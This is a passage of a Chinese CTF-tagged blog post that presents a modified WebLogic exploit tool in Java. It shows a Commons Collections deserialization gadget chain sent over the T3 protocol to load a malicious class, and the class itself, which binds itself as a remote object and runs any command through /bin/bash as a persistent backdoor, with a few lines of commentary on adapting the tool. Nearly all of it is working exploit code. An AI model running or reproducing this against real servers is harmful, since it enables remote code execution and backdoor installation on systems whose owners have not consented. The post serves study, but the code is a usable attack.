65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
package com.boogipop;

import com.boogipop.serial.Reflections;
import com.boogipop.ssl.WeblogicTrustManager;
import com.boogipop.weblogic.T3ProtocolOperation;
import com.boogipop.weblogic.WebLogicOperation;
import org.apache.commons.cli.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class Main {
public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static String TYPE = "marshall";
public static List<String> types = Arrays.asList(new String[]{"marshall", "collection", "streamMessageImpl"});
public static String version;
public static CommandLine cmdLine;
private static String cmd = "whoami";
private static byte[] bytes={your_evil_rmi_codes};
public static void main(String[] args) throws FileNotFoundException {
//tobytes();
System.setProperty("weblogic.security.allowCryptoJDefaultJCEVerification", "true");
System.setProperty("weblogic.security.allowCryptoJDefaultPRNG", "true");
System.setProperty("weblogic.security.SSL.ignoreHostnameVerification", "true");
System.setProperty("weblogic.security.TrustKeyStore", "DemoTrust");

Options options = new Options();
options.addOption("H", true, "Remote Host[need set]");
options.addOption("P", true, "Remote Port[need set]");
options.addOption("C", true, "Execute Command[need set]");
options.addOption("T", true, "Payload Type" + types);
options.addOption("U", false, "Uninstall rmi");
options.addOption("B", false, "Runtime Blind Execute Command maybe you should select os type");
options.addOption("os", true, "Os Type [windows,linux]");
options.addOption("https", false, "enable https or tls");
options.addOption("shell", false, "enable shell module");
options.addOption("upload", false, "enable upload a file");
options.addOption("src", true, "path to src file ");
options.addOption("dst", true, "path to dst file ");
options.addOption("noExecPath", false, "custom execute path");
try {
String host = "127.0.0";
String port = "7001";
CommandLineParser parser = new DefaultParser();
cmdLine = parser.parse(options, args);

if (cmdLine.hasOption("H")) {
host = cmdLine.getOptionValue("H");
} else {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("test", options);
System.exit(0);
}

if (cmdLine.hasOption("P")) {
port = cmdLine.getOptionValue("P");
}

if (cmdLine.hasOption("C")) {
cmd = cmdLine.getOptionValue("C");
}

if (cmdLine.hasOption("T")) {
TYPE = cmdLine.getOptionValue("T");
}

if (cmdLine.hasOption("U")) {
System.out.println("开始删除rmi实例");
WebLogicOperation.unInstallRmi(host, port);
System.out.println("后门删除实例");
System.exit(0);
}
String url = "t3://" + host + ":" + port;
// 安装RMI实例
invokeRMI(host,port);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Boogipop");

// 调用RMI实例执行命令
String res = remote.getServerLocation(cmd);
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}

}

private static void invokeRMI(String host,String port) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{"com.boogipop.payload.RemoteImpl", bytes}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(1)};

final Map innerMap = new HashMap();
// 初始化map 设置laymap
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap();
hashMap.put(tiedMapEntry,"bbb");
innerMap.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
factory.set(lazymap,transformerChain);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(hashMap);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);
}
public static void tobytes() throws FileNotFoundException {
String jarname ="E:\\CTFLearning\\WeblogicEnvironment-master\\weblogic_cmd-master\\weblogic_cmd-master\\out\\production\\weblogic_cmd\\com\\boogipop\\payload\\RemoteImpl.class";
InputStream is = new FileInputStream(jarname);

ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
byte imgdata[] = null;
try {
while ((ch = is.read()) != -1) {
bytestream.write(ch);
}
imgdata = bytestream.toByteArray();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
bytestream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
System.out.println(Arrays.toString(imgdata));
}
}

bytes属性那里就是我们自己定义的远程恶意类的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.boogipop.payload;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class RemoteImpl extends AbstractTranslet implements ClusterMasterRemote {

static {
try{
Context ctx = new InitialContext();
ctx.rebind("Boogipop", new RemoteImpl());
}catch (Exception e){

}
}
public static void main(String[] args) {
}


@Override
public void setServerLocation(String cmd, String args) throws RemoteException {

}


@Override
public String getServerLocation(String cmd) throws RemoteException {
try {

List<String> cmds = new ArrayList<String>();

cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);

ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();

BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

这是我们自己构造的,其实和官方的差不多,主要就是试试改造这个工具,除此之外,记得把其他工具包里有关import Main的地方都改为com.boogipop.Main,否则还是会调用superame包里的Main方法,导致一系列的错误~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF